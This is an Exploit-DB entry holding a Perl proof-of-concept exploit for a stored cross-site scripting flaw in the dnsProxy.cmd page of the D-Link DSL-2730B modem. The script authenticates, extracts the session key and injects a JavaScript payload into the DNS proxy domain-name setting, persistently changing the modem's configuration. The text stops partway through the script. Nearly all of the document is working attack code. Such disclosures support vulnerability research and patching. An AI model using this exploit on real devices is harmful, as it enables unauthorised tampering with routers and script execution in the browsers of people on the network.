Exploit-DB #35750
Description: D-Link DSL-2730B Modem - Cross-Site Scripting Injection Stored DnsProxy.cmd
Type: webapps
Platform: hardware
Date: 2015-01-11
Author: XLabs Security

Exploit:
# Exploit Title: D-Link DSL-2730B Modem dnsProxy.cmd Exploit XSS Injection Stored
# Date: 11-01-2015
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.dlink.com
# Hardware version: C1
# Version: GE 1.01
# Tested on: Windows 8 and Linux


#!/usr/bin/perl
#
# Date dd-mm-aaaa: 11-11-2014
# Exploit for D-Link DSL-2730B
# Cross Site Scripting (XSS Injection) Stored in dnsProxy.cmd
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
# More informations: www.xlabs.com.br/blog/?p=339
#
# CAUTION!
# This exploit enable some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#
 

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;


                my $ip = $ARGV[0];
                my $user = $ARGV[1];
                my $pass = $ARGV[2];
                          
                $ip = $1 if($ip=~/(.*)\/$/);

                               if (@ARGV != 3){
                                               print "\n";
                                               print "XLabs Information Security www.xlabs.com.br\n";
                                               print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in dnsProxy.cmd\n";
                                               print "Developed by Mauricio Correa\n";
                                               print "Contact: mauricio\@xlabs.com.br\n";
                                               print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

                               }else{

                                               print "XLabs Information Security www.xlabs.com.br\n";
                                               print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in dnsProxy.cmd\n";
                                               print "Developed by Mauricio Correa\n";
                                               print "Contact: mauricio\@xlabs.com.br\n";
                                               print "[+] Exploring $ip\/ ...\n";

                                               my $payload = "%27;alert(%27XLabsSec%27);\/\/";
                                      
                                               my $ua = new LWP::UserAgent;

                                               my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );


                                               $hdrs->authorization_basic($user, $pass);
                                            
                                               chomp($ip);
                                             

                                               print "[+] Preparing...\n";
                                             

                                               my $url = "$ip/dnsProxy.cmd?enblDproxy=1&hostname=Broadcom&domainname=A";
                                         
                                             
                                               my $req = new HTTP::Request("GET",$url,$hdrs);

                                               print "[+] Prepared!\n";
                                            
                                               print "[+] Requesting...\n";
                                            
                                               my $resp = $ua->request($req);

                                               if ($resp->is_success){

                                               print "[+] Successfully Requested!\n";

                                               my $resposta = $resp->as_string;

                                               print "[+] Obtain session key...\n";
                                             
                                               my $token = "";
                                             
                                               if($resposta =~ /sessionKey=(.*)\';/){
                                                               $token = $1;                                     
                                                               print "[+] Session key found: $token\n";
                                               }else{
                                                               print "[-] Session key not found!\n";
                                                               exit;
                                               }

                                            
                                                               print "[+] Preparing exploit...\n";
                                             
                                                               my $url_and_xpl = "$ip/dnsProxy.cmd?enblDproxy=1&hostname=Broadcom&domainname=XSS$payload&sessionKey=$token";
                                            
                                                               $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

                                                               print "[+] Prepared!\n";
                                                            
                                                               print "[+] Exploiting...\n";
                                                             
                                                               my $resp2 = $ua->request($req);
                                                             
                                                            
                                                               if ($resp2->is_success){

                                                               my $resultado = $resp2->as_string;